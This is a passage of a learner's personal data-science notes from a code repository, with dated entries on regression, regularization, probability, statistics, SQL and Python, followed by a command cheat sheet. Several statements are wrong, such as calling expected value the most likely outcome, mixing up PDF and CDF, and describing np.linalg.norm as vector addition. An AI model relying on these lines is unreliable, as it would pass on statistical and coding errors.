the more common methods to use to choose a model.\n - These can be thought of alternatives to cross-validation to pick the best performing model. Cross validation can be performed on any model, whereas AIC/BIC may not be available for some models.\n - Regularization - TBD\n - Dimensionality Reduction - TBD\n 5. Regularized Linear Regression\n - Shortcomings of OLS\n - In high dimensions, data is usually sparse : the curse of dimensionality\n - Linear regression can have high variance (ie tend to overfit) on high dimensional data\n ** This leads to the desire to want to restrict or normalize or regularize the model so that it has less variance **\n 6. RIDGE REGRESSION - \"L2 norm\"\n - So regularization adds a penalty term that penalizes larger values of beta (penalizes large values more than small values of beta)\n - penalty is in proportion to the square of the beta coefficient, hence \"L2\" normalizing factor.\n - lambda is the penalty applied to the coefficients\n - higher the lambda the more the \"bias\" of the model. Labda = 0 is no different from standard linear regression.\n - notably, all variables need to be normalized, since lambda will apply penalty (large values of the coefficient) proportional to its scale. So variables must be normalized.\n - changes in lambda changes the amount that large coefficients are penalized\n - increasing lambda increases the model's bias and decreases variance\n - Use cross-validation to identify the ideal lambda that decreases the error of the model.\n 7. LASSO - \"L1 norm\"\n - Instead of the penalizing the square of the coefficient, you penalize the absolute value of the coefficient, which has the benefit of driving some coefficients to zero (rather than near zero with Ridge)\n - Tends to set coefficients exactly equal to zero\n - Automatic feature selection, leads to sparse models\n - Ridge is computationally easier because it is differentiable\n - True sparse models benefit from lasso, dense models benefit from ridge\n - Even in a situation where you might benefit from L1's sparsity in order to do feature selection, using L2 on the remaining variables is likely to give better results than L1 by itself.\n 8. So use cross-validation to select lambda which optimizes error for either LASSO or Ridge \n - Range of lambda (alpha in SKlearn) is 0 to infinity.\n - A lambda of zero in LASSO is identical to linear regression\n\n\n\n\n160614 Linear regression\n 1. Parametric model\n - Assumptions are strong, but so are conclusions. Models are simple, interpretable and flexible.\n - y hat indicates prediction of Y based on X=x\n - RSS grows with n, not by itself interpretable.\n - R2 proportion of variance explained by the model\n - R2 increases with features included into the model.\n - As you increase features, you risk overfitting data\n - Overfitting is learnign the data's signal and the noise, limiting generalizabiility to additional nonobserved data.\n - F test can be used to compare a model with another nested model\n - If model with missing predictor/s don't matter for prediction, F statistic will be small\n - You get a probability of F statistic which \"MAYBE\" can be interpreted as the p-value for the entire model??\n - If you have covariates that are not significant by p-value, remember that you may have correlation between coefficients and that interpretation of the meaning of the coefficients may be difficult.\n 2. Assumptions of a linear regression:\n 1. Linear relationship between predictors and outcome\n 2. Errors (residuals between predicted and true) are independent and identically distributed. And in time series, there is no correlation between consecutive errors.\n 3. Constant variance of errors, aka homoscedasticity. Ie errors don't change over time, versus the predictions or versus any independent variable.\n 4. Normality of the error distribution\n\n 3. Troubleshooting.\n 1. Multicolinearity: If two or more predictor variables are highly correlated with each other, the uncertainty in model coefficients becomes large. Affects the interpretability of coefficients\n - Can use a correlation matrix to look for pairwise correlations.\n - use VIF (variance inflation factors) for more complicated relationships. To try to figure out whcih variables are colinear\n - Run OLS for each predictor as a function of all other predictors. K times for k predictors.\n - Benefit is that it looks at all predictors together.\n - Rule of Thumb is >10 is problematic\n - remove (but make note of) any predictor that is easily determined by the remaining predictors.\n 2. Outliers: When y is far from predicted y hat. Least Squares is particularly affected by outliers.\n - Residual plots can help identify outliers.\n - Influence plots can distinguish outliers from high leverage points.\n 3. Heteroscedasticity: the existence of more than one population of variability/variance. Ie residuals do not have constant variance.\n - Can test by plotting the residuals\n - If heteroscedasticity is present, can invalidate the assumption that modeling errors are uncorrelated and uniform. \n - Solution may be to transform Y, ie log transformation of Y, or sqrt(y).\n 4. Normality of Residuals: Linear regression operates under the assumption that residuals are normally distributed\n - Can check this assumption with a QQ plot.\n - If residuals are not normal, may transform the response.\n 5. Non-linearity relationship between outcome and predictors.\n - Can consider adding a squared version of the predictor.\n - same as adding a higher order polynomial of a predictor to the feature space. Ie adding x^2 or x^4\n - Also spline, polynomial, step function, local regression, generalized additive models. \n - Can capture nonlinear aspects of the relationship between parameters and y using the above methods: spline, polynomial etc\n - Can also transform the y feature space to try to address this.\n 6. Mean Squared Error is proportional to Residual sum of squares. In fact it is RSS divided by sample size n.\n\n\n\n\n\n160613\nLinear Algebra\n 1. matrix multiplication\n - For the given row-column target in the matrix, sum of mulitply the elements of matrix1 row times matrix2 column.\n 2.\n - Only square matrices are invertable\n - Eigenvectors/eigenvalues are values that do not change except for by a scalar through a transformation\n - A stochastic matrix represents the probabilty of goig from one state to another. \n - Axis zero is column-wise, axis 1 is row-wise in numpy (opposite in pandas)\n 3. Exploratory Data Analysis\n - Look at the distribution of individual features\n - Then look at bivariate plots\n - ie scatter with kernal density plots\n - pandas scatter matrix\n 4. Linear regression\n - Cost function: usually is ordinary least squares. So you minmize the residual sum of squares. Minimizing the cost function in linear regression.\n - The error term or the \"residual\" is the difference between predictions and is assumed to be iid, and normally distributed with N( mean = 0 and variance).\n - Reliability of linear regression\n - R squared, coefficient of determination. Compares your model versus a model that is just the mean. A high R squared on its own does not imply a good model.\n - If features are correlated, this breaks the assumption that features are independent and errors are iid so this can affect validiy of the model.\n - F test compares model with null model. Shortcoming is that it doesnt' tell you which beta is unequal to zero.\n - Can perform hypothesis test on coefficient\n\n\n\n160610\nMultiarmed bandit\n 1. Conjugate Prior \n 1. Conjugate Prior: Posterior is proportional to the likelihood x prior\n 2. We use probability distributions (which integrate to 1) to model both the posterior and the prior in the Bayes Theorem equation.\n - The beta distribution is a known distribution that we will be using to model the PRIOR event for an event that has a likelihood of a binomial distribution.\n - We model the POSTERIOR distribution with the binomial distribution usually.\n 3. Assumptions of the conjugate prior method are the same as for the binomial distribution: one of which is that the probability is Constant\n 4. For the beta distribution, the alpha parameter is the number of conversions you had, the beta is the number of non-conversions (using the CTR example for a website A/B test)\n 2. Traditional A/B testing\n 1. Epsilon first testing: explore first for x tests, then use results\n - Pitfalls include: only after a set time, do you use data and pick the better performer, potentially losing money\n 3. Multi-Armed Bandit\n 1. Strategies to optimize exploration and exploitation, leraning as you go and making changes to behavior.\n 2. Method of adaptive, reinforcement learning.\n 3. Goal is to maximize return and minimize \"regret\" or using the sub-optimal option.\n 4. Strategies\n 1. Epsilon Greedy: Explore with some probability epsilon, often 10%\n - All other times we will exploit the option with the best performance\n -After we choose a given bandit, update the performance based on the result.\n 2. Upper Confidence Bound UCB1\n Choose which ever bandit has the largest value, zero regret algorithm\n 3. Softmax\n - choose a bandit randomly in proportion to its estimated valu. Tau is a parameter that controls the randomness of the choice\n - pA is the percentage of people who convert on site A\n 4. Bayesian Bandit\n - Modeling each of the bandits with a beta distribution with the shape parameters of alpha = won, beta = lost\n - Then take a random sample from each bandit's distribution and choose the bandit with the highest value. Update with each new trial\n\n\n\n\n\n\n\n\n\n\n160609\nStatistical Power\n\n 1. power\n 1. Def: Probability of rejecting the null hypothesis given that the alternative hypothesis is True\n 2. How to improve power?\n - One way to improve the power of the test is to increase sample size, so the distribution under the presumed alternative hypothesis has less variation and thus the area to the right of the dotted line (alpha) is higher.\n - Less variable data\n - Change alpha (lower it)\n - A larger effect size (that you want to be able to detect with your experiment) would also increase the power of the test. Though experimentally a larger effect size is harder to achieve, ie it requires a higher burden of proof\n\n\n160608\nHypothesis Testing\n\n 1. Bootstrap: As long as your original sample is REPRESENTATIVE of the population, because the number of permutations of combinations of subsequent combinations (Drawn with replacement) of the samples in your bootstrap (n to the n, if n = size of original sample) is so large, the summary statistics of random variables will follow normal distribution.\n A. So you can use bootstrapping to empirically estimate confidence intervals for the summary statistic from your bootstrap sample\n B. So bootstrapping does not always narrow the confidence interval of the summary statistic, it can provide a confidence interval for statistics that don't have CLT to provide a 95CI. \n 1. ie \" it is available regardless of how complicated the estimator is\". Since bootstrapping \"estimates the sampling distribution of an estimator by sampling with replacement from the original sample\"\n 2. Used to estimate the standard errors and confidence intervals of an unknown population parameter\n 2. Hypothesis Testing\n 1. Type 2 error, loss of opportunity error, fail to reject H0 when it is false\n 3. Chi square\n 1. Chi Square Goodness of Fit: Used to compare the sample data of a categorical variable to the theoretical distribution. Observed minus expected\n 2. Chi Square Test of Independence: Compare two categorical variables under the assumption that they are independent \n\n\n\n160607\nSampling and Estimation\n\n 1. Parametric vs Non Parametric\n A. Parametric based on assmptions about the distribution of the underlying population, that that there are parameters that define that distribution\n - If data deviates from these assumptions than a parametric procedure can lead to incorrect conclusions\n B. Nonparametric: does not make distributional assumptions about he shape or parameters of the underlying distribution\n - If base assumptions hold, parametric approaches can lead to more precise estimations\n - Usually based on ranking, does not take into account distribution of data\n - Less power than corresponding parametric procedure\n - Interpretation can be more difficult than parametric measure\n 2. Maximum Likelihood Estimators\n A. The join distribution is the product of the individual probabilty distributions, this is ASSUMING that events are indepdent and identically distributed (IID)\n - Maximizing the likelihood function is the same as maximizing the log lilelihood function which simplifies complications, since the product of function is the same as the sum of the logs of the function. So calculation is simplified.\n - So derivative with respect to the parameter (partial derivative) is how you solve for this\n 3. Maximum a Posteriori -MAP\n A. Baysean suggests that the parameters from come a distribution themselves. Assume a prior distribution of the parameters g over theta, given the value x.\n 4. Kernal Density estimations\n A. Drawn from a distribution with an unknown density f, but which you are interested in estimating the shape of its function. Essentially a data smoothing problem.\n B. Uses a kernel K(.): which is a nonnegative function that integrates to one and has a mean of zero\n c. h is a smoothing parameter, called a bandwidth, which determines the width of the bins over which the kernel is deployed.\n D. Related to histograms, but can be made smooth by using a suitable kernel. Sum of kernals, can be thought of as summing kernels\n\n\n\n\n160606\nProbability\n- Probability Mass Function PMF: For a DISCRETE random variables X that takes discrete values, give the probability of an individual event.\n- Probability Density Function PDF (\"CDF\" in scipy stats modules): For CONTINUOUS random variables, gives probability of having value less/greater than a given value.\n\n- disjoin is mutually exclusive\n- upside down A is “all\"\n- Combinatorics\n - Factorial is the all the possible orderings in a set of items n\n - Permutations, selecting subgroups of a set when order matters\n - nPk = n! / (n - k)!\n - Combination: number of was of selecting subgroups when order doesn’t matter\n - nCk = n! / (n-k)!k!\n - Note that you’re dividing out the number of orders (factorial k) in the number of the set chosen\n - Sample space contains the exhausted list of mutually exclusive simple events\n - An event A contains a subset of the simple events in S\n - Conditional Probability: probability given something already occurred. Reduces the sample space to the probability of what happened (what is given)\n- Random Variable\n - Exepected Value: is the most likely outcome of a random variable\n - For discrete random variable, sum over the sample space; for continuous, need to integrate over sample space\n - Variance: measure of the spread of values around the mean; squaring this is how to make it positive (one method only of several), but the units are squared, so make it harder to interpret\n - Standard deviation is the square root of Variance, with units back to original variable\n - Covariance: how two variables vary in relation to each other. Ranges from negative to positive infinity. So the covariance re-scaled ranges from neg 1 to 1.\n\n- DISCRETE DISTRIBUTIONS\n- Bernoulli distribution: two outcomes, success failure\n - Constant Probability of success, events are independent\n- Binomail models the sum of the Bernoulli random variable; so the number of successes in n trials\n - probabiltiy is the product of the independent Bernouli random variables, since each is independent\n- Geometric distribution also builds on Bernouli, models the number of trials to first success\n- Poisson, models nubmer of events/successes in a period of time (or space)\n - lambda is an average rate of success in that time or space\n - Good for counting processes\n\n- CONTINUOUS DISTRIBUTIONS\n- Uniform: equally likely events within a set interval\n- Exponential: models time between Poisson events\n\n160603\nSQL Python\n\n- psycopg library to interface to a Postgres database from within Python\n - There are Python libraries to connect to almost any database you want, mysql-connector-python, sqlite, pymongo\n- Cursor is a control structure to fetch data and handle transactions with the SQL database\n - The results from a cursor object can only be accessed once, since it is returned as a generator. So need to dump it into a datastructure in Python you can use later\n - Generally will use cur.fetchall() into a python object to use the results of your query\n - Can also use: cur.fetchone() #next result, cur.fetchmany(n) #returns next n results (in case you need to batch the storage of your results)\n - Or: for res in cur: #iterates over results in the cursor\n- Enter SQL postgress query as a multiline string in python: query = ‘’’ ‘''\n\n- If you execute a query in psycopg2 and there is a mistake in your query, you can’t interact with the cursor again (ie send a fixed query) until you rollback the connection: conn.rollback()\n- To open a connection in psycopg2:\n - import psycopg2\n - conn = psycopg2.connect(dbname=‘{name}’, user=‘[username]’, host=‘[hostname])\n- Write queries in python using: c.execute(‘’’ SQL QUERY ‘’')\n- Changes to the database made using your query are NOT stored until you commit them using\n - conn.commit()\n - curr.close()\n - conn.close() #good practice to close the connection at the end of your python program\n- conn.rollback() # if you make a mistake on the query, use rollback to restart the transaction.\n- To create a new DATABASE in python through psycopg2, you need to turn on auto-commit in order to execute the command. Be sure to close the connection and restart a new one with auto-commit off, so you don’t accidentally change the database with a subsequent query that you can’t roll back.\n - conn.set_session(autocommit = True )\n - cur = conn.cursor()\n - cur.execute(‘CREATE DATABASE <database name>’)\n - curr.close()\n - conn.close()\n- COPY <into table name> FROM ‘filepath of data file ie csv’ DELIMITER ‘,’ CSV; #import data into table from external file.\n\n160602\nSQL\n\n- RDBMS data is one way to store persistent data\n - Data that is infrequently accessed and unlikely to be changed\n - Composed of tables, columns rows\n - Column contains a certain data type\n - Row is an observation that holds values for each of the columns\n - Tables are specified by a schema that defines the structure of the data\n- Advanced SQL\n - Self-join-effectively joining a table with itself, in order to filter more powerfully. Used commonly.\n - A With function in SQL, you can alias a query, then use than in a larger query\n - Window functions is signified OVER ( PARTITION BY ) , and allows a calculation over a set of table row within a query\n\n160601\nObject Oriented Programming\n\n- A class is a blueprint of an object that can be created from that class, works generically across different cases. Ie a dictionary is a class in python\n- An object is an instance of a class, can create multiple instances of the same class\n- An attribute is a property of the class, usually a variable\n- OO revolves around three concepts\n - Encapsulation - interact with internals of an object only through method calls, rather than directly\n - attributes of the object are essentially the data stored in the object (instance of the class), but only alter/update them through methods\n - Inheritance - Derive a child class from a base class. Base class defines general behavior. Child class specializes behavior.\n - Polymorphism - Objects of the same base class will often support the same interface, having the same/similar attributes or methods\n- “self” refers to an instance’s own unique data. When you assign a class to a variable, that variable subsequently then gets passed to every method of that class-instance as the first argument. So every method in that class must have a “self” argument in the list\n- __init__ is the first method called in a class that is called whenever the class is created. Use self to refer to the instance’s member data and functions\n- *args will pass a list sequentially to a function\n- ** kwargs are keyword-named arguments that are stored in a dictionary and can be passed to a function, either as a dictionary or as individual named key-word arguments. preceeded by ** (packing and unpacking)\n- A static method is a function in a class that is not passed the reference the instance of the class. So it’ll just do that it says, regardless of the rest of the class functions\n- Magic methods: predefined methods within python that can be defined for your class, such as length or str(stringmethod)\n - repr is the python representation of the object\n - str is the string representation of the object\n - init is the constructor magic method required to initialize a class\n- An Abstract Base Class defines a standard interface for derived object. So it allows you to define a common set of methods for a class-type, essentially enforcing polymorphism\n - Ie for any regression, they offer a certain types of methods. So define ABC first, then individual classes from this later\n- Decorators: functions which wrap other functions\n- Python Debugger is a good way to debug clode\n - insert “import pdb” in line in the code,\n - “import pdb; pdb.set_trace\n - type n for new line, c for new trace point, q to quit, s steps through news line stepping through functions\n - can access anything at that python runtime, paused at the given line\n\n160531\n\n- Programming\n - Generators in Python\n - Take less memory\n - Use enumerate when you need the index of the list as well as the value\n - If possible, try to see if you can use hashing to organize/loop over data, as this is the fastest way to perform such functions\n - Mutable objects can change their value but keep their id()\n - lists, sets, dictionaries\n - Only immutable objects can be used as key in dictionary (“unhashable”)\n - Immutables: int, string, tuple, floats\n"},{"alpha_fraction":0.704182505607605,"alphanum_fraction":0.7185418605804443,"avg_line_length":47.99122619628906,"blob_id":"3a2477252047028bcb514b4e61dfb0eddb464fe3","content_id":"600c4306ac2e03022591cfcb7265277b2450263f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":27932,"license_type":"no_license","max_line_length":673,"num_lines":570,"path":"/160601 Python Commands.md","repo_name":"geoffisdancing/galnotes","src_encoding":"UTF-8","text":"\n```python\n#Python General commands\n\n if __name__ == '__main__': #base code that will run when file is run by calling it by name\n from __future__ import division\n\n f = open(filename) #open filename\n with open(filename) as f: #open file, prefer to use this over open(filename), so it automatically closes the file\n\n class ClassName(object): #way to implement a class ClassName\n def __init__(self, selfvar1, selfvar2, function1, etc)\n self.selfvar1 = selfvar1\n\n from collections import Counter #imports Counter \"container\" serves to count the most common items in a list/array \n Counter(array_lst_object).most_common(num_of_most_common_items) #returns a list with a tuple of the most common item and its count\n\n if not os.path.exists(\"./<dirname>\"): #to make a directory if doesn't exist using python\n os.makedirs(\"./<dirname>\")\n\n with open('URL here', 'r') as f: #read URL location as file,\n shoes = f.read().replace('\\n','') #reading it in as html for parsing using BS (see PyMongo below)\n\n import requests #ability to make GET request for web scraping\n r = requests.get('http://www.ebay.com/.....complete URL here ')\n soup2 = BeautifulSoup(r.content, 'html.parser')\n\n from collections import defaultdict\n from time import time #gives runtime, call with \"print time()\"\n\n %time #ipython's magic method\n\n from collections import Counter\n d = Counter(lst)\n\n assign = _ #assigns var to the last output returned in the console\n '-'.join(<sequence of strings>)\n float('NaN') #used to assign variable value to NaN\n\n import pdb; pdb.set_trace()\n\n\n# Terminal/Bash\n mkdir\n cp\n mv\n rm\n rmdir\n man #bash manual\n ctr + a #move to front\n ctr + e #move to end\n ctr + k #clears line after the cursor\n ctr + u #clear current line\n ctr + l or clear #clears terminal screen\n !$ #last argument \n ls -l #one item per line ls detailed\n echo $PATH #Bash searches for commands, system variable separated by colons\n searches in ~/.bash_profile\n # separate commands in batch using semicolon, or & to run concurrently\n\n\n# Git\n git clone http://xxx\n git status #status of local git with cloud git\n git add . #add all thing in current directory and subdirectory\n git commit -m “comment\"\n git push\n git init #initializes directory as git repo on your local computer\n echo \"# galnotes\" >> README.md\n git init\n git add README.md\n git commit -m \"first commit\"\n git remote add origin https://github.com/geoffisdancing/galnotes.git\n git push -u origin master\n git branch # tells the git branch status of your current working directory\n git checkout master #switch to master branch from other branch, ie if you want to make a \"hotfix\" to master\n git merge hotfix #merge hotfix branch changes with master (ie master is your current branch location since you just checked it out)\n git branch -d <hotfixbranch> #can delete branch once you've merged it with master\n\n git pull origin master # syncs your local git repo with the origin (on http) pulling down new files\n git pull #also works, don’t necessarily need “origin master\"\n\n #to push files from local repo (recently just committed to one account) to a different git account:\n git remote -v #to get URL\n git remote add <temp name> <change to your git url>\n git push <temp name>\n\n # to fetch a specific file from a remote git URL\n git fetch {remote host url} #pulls branch information from the remote github host (ie from another computer), after which you can now do git checkout branch which may be from another computer/user\n git branch -a #after fetch, will show the other branches from master, from which you can then checkout one you want\n git checkout FETCH_HEAD -- '[filename]' # both of these above commands used in order to pull an individual file from a the remote master. Must use dir/filename if file is located in a subdirectory\n\n\n\n#PANDAS\n#axis = 1 indicates column in pandas\n\n%matplotlib inline # command in ipython to print graphs inline\nimport matplotlib.pyplot as plt #plotting functionality plt\n\npd.read_csv('filepath') # to read csv file into dataframe, assign to df name.\n# try date_parser=[col index] parameter to allow specification of a specific column to parse as a datetime.\npd.read_table('text_filepath') #read text file as df\npd.scatter_matrix(<dfname>, alpha = 0.2, figsize=(6,6),diagonal='kde'); #scatter matrix of dataframe variables in pandas\n\ndf = df.drop('column name', axis=1, inplace=True) # drops column in pandas dataframe, axis = 1 indicates column in pandas. default is axis = 0 which drops an observation (row) from the data\ndf.drop(df.index[[1,2,3]]) #drop rows of df, indices 1,2,3\ndf.pop('column name') #pops off column name from df, modifying df in place\ndf = df[df['Column name'] <some value] # index based on column value, syntax here effectively deleting by re-saving as df\ndf[['column 1', 'column 2']] #index multiple columns\ndf2 = df.rename(columns={'int_col' : 'some_other_name'}, inplace= True) #renamecolumns\ndf.info() # type of each column in df\ndf.hist('column name') #plots histogram over column (or all columns if left blank)\n<dateseries>.dt.month #to get month (or other element) from pandas datatime object\n#when grouping by in pandas, can add \"as_index = False\" to move index to top.\nseries.unique() # to pull unique values of a given series\ndf.unstack() #will switch from stacked (row-wise data) to column-wise data by the inner-most grouping index.\ndf.values #return an np.ndarray of either the dataframe or the dataframe index\n#if result of slicing is a 1D dataframe, this will be a (vertical) pd.Series, which can't be used to index. So .values will turn into a 1D array, whcih can be used to index.\ndf.values.astype(float) # returns values of a df as float\ndf.astype(float) #suffix astype allows conversion to float.\ndf.columns.values #returns an array of the column names of df\n\nimport statsmodels.api as sm # to import statsmodels package for regression capability\nsm.regression.linear_model.OLS(dependent_array, independent_dataframe).fit() #this shoudl be assigned to an <object> and then can be displayed using:\nprint <object>.summary()\nplt.scatter( credit_OLS.predict(), credit_OLS.outlier_test()['student_resid']) #plot student residuals vs fitted y's to look for outliers\nsm.qqplot(<OLS_model_object>.resid) #plot QQ plot of residuals of prevously fitted statsmodels object name. \npd.get_dummies(array) #create dummy variables\npd.set_index('column_name', inplace=True) #set column as index\npd.groupby(by=None, axis=0) #group df by first argument\ndf.iloc[<integerindex>] #allows indexing by index location in pandas dataframe\n\ndf.to_csv('filename', index=False) #write to csv\ndf.reset_index(inplace=True) #pulls index into the first column.\ndt.datetime.strptime(ginger.date[0], '%d%b%y:%H:%M:%S') #strip time data from string, requires specific flags, at the bottom of this site: https://docs.python.org/2/library/datetime.html\n#can also use after reading csv, example: ginger['date']=pd.to_datetime(ginger['date'], format='%d%b%y:%H:%M:%S')\ndf['column']=df.apply(lambda row: f(row), axis=1) #f = function to apply across each row of\ndf.column.value_counts() #value counts for a given column (similar to tabulate)\ndf[df['column'].isin([list of values])] #how to filter dataframe rows by \"within/in\"\ndf.columns=[<list of names as strings>] #to rename columns\ndf.replace(to_replace=None, value=None, inplace=True) #replace one value with another in df\ndf.fillna(value=None, axis=None, inplace=False) #fill NaN values in df\ndf.drop_duplicates(subset=None, keep='first/last', inplace=False) #drop duplicates, can specify a subset of columns to look over\n\nwho%_ls DataFrame #lists dataframes in the current workspace/memory\n\n\n# Numpy\n\nnp.linalg.norm() # get the addition of two vectors\nnp.logical_and(array1==True, array2==True) #returns boolean array corresponding to array1/2 satisfying the conditions described\narrr[(arrr[:,0]>0.6) & (arrr[:,1]<0.4)] #setting slices of an array to conditions will return an array which meets those conditions OR\nnp.array(thresholds)[(np.array(tpr)>0.6) & (np.array(fpr)<0.4)] #can even index a target array (thresholds) according to boolean statements for TWO OTHER arrays (tpr, fpr) which are the same size/shape as the target arrray (assuming of course that they reference the same data pionts)\nnp.argsort(array) #returns an array2 with the indices of the sorted input array, which you can use to iterate over sorted values. \narr[np.random.randint(0, size)] #np.random.randint returns a random integer which in this case is used to index the array randomly, with replacement. size = len(arr)\narr.tolist() #return array values as list\narr = np.array(arr) # turn a list or other object into a np array\narr.shape #returns a tuple describing the shape of the array in (rows, columns)\nnp.newaxis '''usage'''#if arr is a 1D array (ie arr.shape = (3,)), arr[np.newaxis,:] will return a row vector shaped (1,3) whereas arr[:,np.newaxis] will return a column vector shaped (3,1)\narr[np.min(array, axis = 1)>0] #np.min returns booleans for the condition >0 along rows (axis = 1)\narr = np.append(arr, item) #append item to an array. Can even initialze array without specifying shape as:\narr = np.array([]) #initialize empty array\nnp.linspace(start,stop,num=50) #create a var from start to stop with num points.\nbalance['Married'] = balance['Married'].map({'Yes': 1, 'No': 0}) #mapping to change responses from Yes to 1.\nnp.logical_not(<condition>) #allows you to exclude things in <condition> without an if statement.\nX[np.where(mask)] #turns boolean mask into array of indices\nnp.tile(X,reps) #repeat A, reps times\nnp.ravel(a) #return a continugous flattened array from a, which can be a dataframe\n\n\n# Sklearn\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, Y_train, Y_test = \\\ntrain_test_split(features, target, test_size=0.3) # to make test/training set for cross validation\n\n\nfrom sklearn.linear_model import LinearRegression\nlinear = LinearRegression() #instantiate the LinearRegression class\nlinear.fit(train_feature, train_target) #fit linear regression model using the object linear which is an instantiation of the LinearRegression class\n\nfrom sklearn.linear_model import LogisticRegression\nanyname = LogisticRegression()\nanyname.fit(x[['col1','col2']],y) #fit logistic regression model, using col1,2,i number of features of x\n\nfrom sklearn.cross_validation import KFold\nkf = KFold(len(array), n_folds = 5) #create Kfold indices for cross validation on array use as follows:\nfor train, test in kf: model.fit(X[train], y[train]) #usage for Kfolds cross validation\n\nfrom sklearn.preprocessing import StandardScalar\nscale = StandardScalar()\nscale.fit(training_data) #scale data\n\nfrom sklearn.grid_search import GridSearchCV #example code of how to use grid search\nparam_grid = {'learning_rate':[0.1,0.05,0.02], 'max_depth':[4,6], 'min_samples_leaf':[3,5,9,17]}\nest = GradientBoostingRegressor()\ngs_cv = GridSearchCV(est, param_grid).fit(X,y) #grid-search takes (essentially) a raw or minimally parameterized estimator Class, and performs a search across the parameter_grid for the best parameter by the given scoring method. Will automatically assign the best parameters to the gs_cv estimator object once complete.\ngs_cv.best_params_\nfrom sklearn.grid_search import RandomizedSearchCV #perform a random grid search, allows searching through a random set of the hyperparameters to get a sense of where to pick them, thus will run faster than GridSearch.\n\nfrom sklearn.cross_validation import cross_val_score\ncross_val_score(estimator_object, X, y=none, scoring = <scoring type>, cv=None) #obtains a accuracy score by cross validation. Takes a parameterized estimator object, but this object does not need to be fitted to training data, as this will take training data (x and y if available) and perform cross validation (train test, train test K-fold times) to obtain a cross-validated score. You can set the type of score using scoring = <scoring type, below>, default scoring type is the simples appropriate score for the method, such as accuracy for classifiers or R2 for regressors; y lets you set labels for supervised learning, cv defaults to 3 fold CV, can set other integer\ntypes of scores: http://scikit-learn.org/stable/modules/model_evaluation.html\n\n\n# Matplotlib\n\nplt.legend() #to have plot labels show as legend\nplt.axvline(x=0.4) #plot vertical line\nplt.axhline(y=0.6) #plot horizontal line\ndf.hist()\nplt.figure(figsize=(10,10)) #sets the figsize in matplotlib and Seaborn for the given session\nplt.savefig('example.png', dpi=300) #save figure\n#line plots\nplt.plot(x, y, marker='o', alpha=0.4, color='red')\nplt.plot(x, y2, marker='o', alpha=0.4, color='green')\n#scatter plots\nplt.scatter(x, y, edgecolor='none', s=size)\n#bar plots\nplt.bar(people_index, score, bar_width, align='center')\nplt.xticks(people_index, people)\n#histogram\n import scipy.stats as scs\n # Get a list of normally distributed values\n values = scs.norm.rvs(size=1000)\n # Plot the first histogram\n plt.hist(values, color='r', alpha=.4)\n plt.show()\n # Plot the second histogram with probability density\n plt.hist(values, color='r', alpha=.4, normed=1)\n plt.show()\n#Box plots\n import scipy.stats as scs\n one = scs.norm(3, 5).rvs(size=1000)\n two = scs.norm(5, 1).rvs(size=1000)\n data = [one, two]\n plt.boxplot(data)\n plt.xticks([1, 2], ['a', 'b'])\n plt.show()\n\n# Label axis/legend/Figure size\n fig = plt.figure(figsize=(10, 4)) # 10 wide and 4 height\n x = [1, 2, 3, 4]\n y = [2, 3, 4, 5]\n plt.plot(x, y, label='Legend 1')\n plt.xlabel('X Axis', fontsize=14, fontweight='bold')\n plt.ylabel('Y Axis', fontsize=14, fontweight='bold')\n plt.title('Title', fontsize=20, fontweight='bold')\n plt.legend(loc='upper left')\n\n#Sub plots\n x = [1, 2, 3, 4]\n y = [2, 3, 4, 5]\n \n # subplot() command specifies numrows, numcols, fignum where fignum ranges from 1 to numrows*numcols\n # Define the rows and columns of subplots (2x2). Can specify the figsize too\n fig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize=(12,7))\n\n ax1.plot(x, y, label='first plot')\n ax1.legend(loc='upper left')\n ax1.set_xlabel('X label')\n ax1.set_ylabel('Y label')\n ax1.set_title('Title')\n #OR\n ax[0][0].plot(x, y, label='first plot')\n ax[0][0].legend(loc='upper left')\n ax[0][0].set_xlabel('X label')\n ax[0][0].set_ylabel('Y label')\n ax[0][0].set_title('Title')\n\n # Plot 1 line on the upper right\n ax2.plot(x, y, label='second plot', color='r')\n ax2.legend(loc='upper left')\n\n # Plot 1 line on the lower left\n ax3.plot(x, y, label='third plot', color='g')\n ax3.legend(loc='upper left')\n\n # Plot 1 line on the lower right\n ax4.plot(x, y, label='fourth plot', color='c')\n ax4.legend(loc='upper left')\n\n # Can set an overall title in the middle of the figure\n plt.suptitle('Overall title', fontsize=16)\n\n\n#plotting several sub-plots\ndef fig(digits):\n fig, _ = pl.subplots(nrows=10, ncols=10, figsize=(12,12))\n for i,ax in enumerate(fig.axes):\n ax.imshow(digits.images[i])\n ax.axis('off')\n plt.show()\n\n\n# Seaborn\nplotter = df.drop(['date_formatted','user_id','date','id_number','steps_list'],axis=1)\nsns.pairplot(plotter.iloc[:,0:5]) #creates pairwise scatter plots\n\n\n\n# NLTK for Natural Language Processing\nnltk.download('stopwords') #downloads stopwords for nltk\n\nfrom nltk.stem.porter import PorterStemmer\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.stem.wordnet import WordNetLemmatizer\n\nporter = PorterStemmer()\nsnowball = SnowballStemmer('english')\nwordnet = WordNetLemmatizer()\n\n\n# PyMongo\nfrom pymongo import MongoClient\nclient = MongoClient()\n# Access/Initiate Database\ndb = client['test_database']\n# Access/Initiate Table\ntab = db['test_table']\n\nfrom bs4 import BeautifulSoup #import html parser BeautifulSoup\nsoup = BeautifulSoup(shoes, 'html.parser') #instantiate BeautifulSoup parser\nimg_array = soup.select('img.img') #select CSS elements \"img.img\" from html using BS\n\n\n# MongoDB\nUsing Mongo - General Commands for Inspecting Mongo\n help // List top level mongo commands\n db.help() // List database level mongo commands\n db.<collection name>.help() // List collection level mongo commands.\n show dbs // Get list of databases on your system\n use <database name> // Change the database that you're current using\n show collections // Get list of collections within the database that you're currently using\n\nInserting\n Once you're using a database you refer to it with the name db. Collections within databases are accessible through dot notation.\n\ndb.users.insert({ name: 'Jon', age: '45', friends: [ 'Henry', 'Ashley']})\ndb.getCollectionNames() // Another way to get the names of collections in current database\n\ndb.users.insert({ name: 'Ashley', age: '37', friends: [ 'Jon', 'Henry']})\ndb.users.insert({ name: 'Frank', age: '17', friends: [ 'Billy'], car : 'Civic'})\n\ndb.users.find()\n { \"_id\" : ObjectId(\"573a39\"), \"name\" : \"Jon\", \"age\" : \"45\", \"friends\" : [ \"Henry\", \"Ashley\" ] }\n { \"_id\" : ObjectId(\"573a3a\"), \"name\" : \"Ashley\", \"age\" : \"37\", \"friends\" : [ \"Jon\", \"Henry\" ] }\n { \"_id\" : ObjectId(\"573a3b\"), \"name\" : \"Frank\", \"age\" : 